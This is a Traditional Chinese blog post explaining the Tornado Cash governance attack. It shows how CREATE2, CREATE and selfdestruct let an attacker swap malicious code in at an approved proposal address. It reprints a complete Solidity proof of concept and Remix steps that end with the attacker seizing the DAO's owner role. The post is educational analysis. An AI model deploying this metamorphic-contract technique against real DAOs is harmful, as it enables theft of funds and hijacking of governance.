大概兩週前(5 月20 日),知名混幣協議Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。
攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之後, 銷毀了提案要執行的合約地址, 並在該地址上重新創建了一個攻擊合約。
攻擊過程可以查看SharkTeam 的 Tornado.Cash提案攻擊原理分析[1]。
這裡攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?
背景知識
EVM 中有兩個操作碼用來創建合約:CREATE 與CREATE2 。
CREATE 操作碼
當使用new Token() 使用的是 CREATE 操作碼, 創建的合約地址計算函數為:
address tokenAddr = bytes20(keccak256(senderAddress, nonce))
創建的合約地址是通過創建者地址+ 創建者Nonce(創建合約的數量)來確定的, 由於Nonce 總是逐步遞增的, 當Nonce 增加時,創建的合約地址總是是不同的。
CREATE2 操作碼
當添加一個salt時new Token{salt: bytes32()}() ,則使用的是 CREATE2 操作碼, 創建的合約地址計算函數為:
address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))
創建的合約地址是創建者地址+ 自定義的鹽+ 要部署的智能合約的字節碼, 因此只有相同字節碼和使用相同的鹽值,才可以部署到同一個合約地址上。
那麼如何才能在同一地址如何部署不用的合約?
攻擊手段
攻擊者結合使用Create2 和Create 來創建合約, 如圖:
代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
先用Create2 部署一個合約Deployer , 在Deployer 使用Create 創建目標合約Proposal(用於提案使用)。 Deployer 和 Proposal 合約中均有自毀實現(selfdestruct)。
在提案通過後,攻擊者把 Deployer 和 Proposal 合約銷毀,然後重新用相同的slat創建Deployer , Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的 Deployer 合約地址, 但此時 Deployer 合約的狀態被清空了, nonce 從0 開始,因此可以使用該nonce 創建另一個合約Attack。
攻擊代碼示例
此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract DAO {
struct Proposal {
address target;
bool approved;
bool executed;
}
address public owner = msg.sender;
Proposal[] public proposals;
function approve(address target) external {
require(msg.sender == owner, “not authorized”);
proposals.push(Proposal({target: target, approved: true, executed: false}));
}
function execute(uint256 proposalId) external payable {
Proposal storage proposal = proposals[proposalId];
require(proposal.approved, “not approved”);
require(!proposal.executed, “executed”);
proposal.executed = true;
(bool ok, ) = proposal.target.delegatecall(
abi.encodeWithSignature(“executeProposal()”)
);
require(ok, “delegatecall failed”);
}
}
contract Proposal {
event Log(string message);
function executeProposal() external {
emit Log(“Excuted code approved by DAO”);
}
function emergencyStop() external {
selfdestruct(payable(address(0)));
}
}
contract Attack {
event Log(string message);
address public owner;
function executeProposal() external {
emit Log(“Excuted code not approved by DAO :)”);
// For example – set DAO’s owner to attacker
owner = msg.sender;
}
}
contract DeployerDeployer {
event Log(address addr);
function deploy() external {
bytes32 salt = keccak256(abi.encode(uint(123)));
address addr = address(new Deployer{salt: salt}());
emit Log(addr);
}
}
contract Deployer {
event Log(address addr);
function deployProposal() external {
address addr = address(new Proposal());
emit Log(addr);
}
function deployAttack() external {
address addr = address(new Attack());
emit Log(addr);
}
function kill() external {
selfdestruct(payable(address(0)));
}
}
大家可以使用該代碼自己在Remix 中演練一下。
-
首先部署DeployerDeployer , 調用DeployerDeployer.deploy() 部署Deployer , 然後調用 Deployer.deployProposal() 部署 Proposal 。
-
拿到Proposal 提案合約地址後, 向 DAO 發起提案。
-
分別調用Deployer.kill 和 Proposal.emergencyStop 銷毀掉Deployer 和Proposal
-
再次調用DeployerDeployer.deploy() 部署Deployer , 調用Deployer.deployAttack() 部署 Attack , Attack 將和之前的 Proposal 一致。
-
執行DAO.execute 時,攻擊完成獲取到了DAO 的Owner 權限。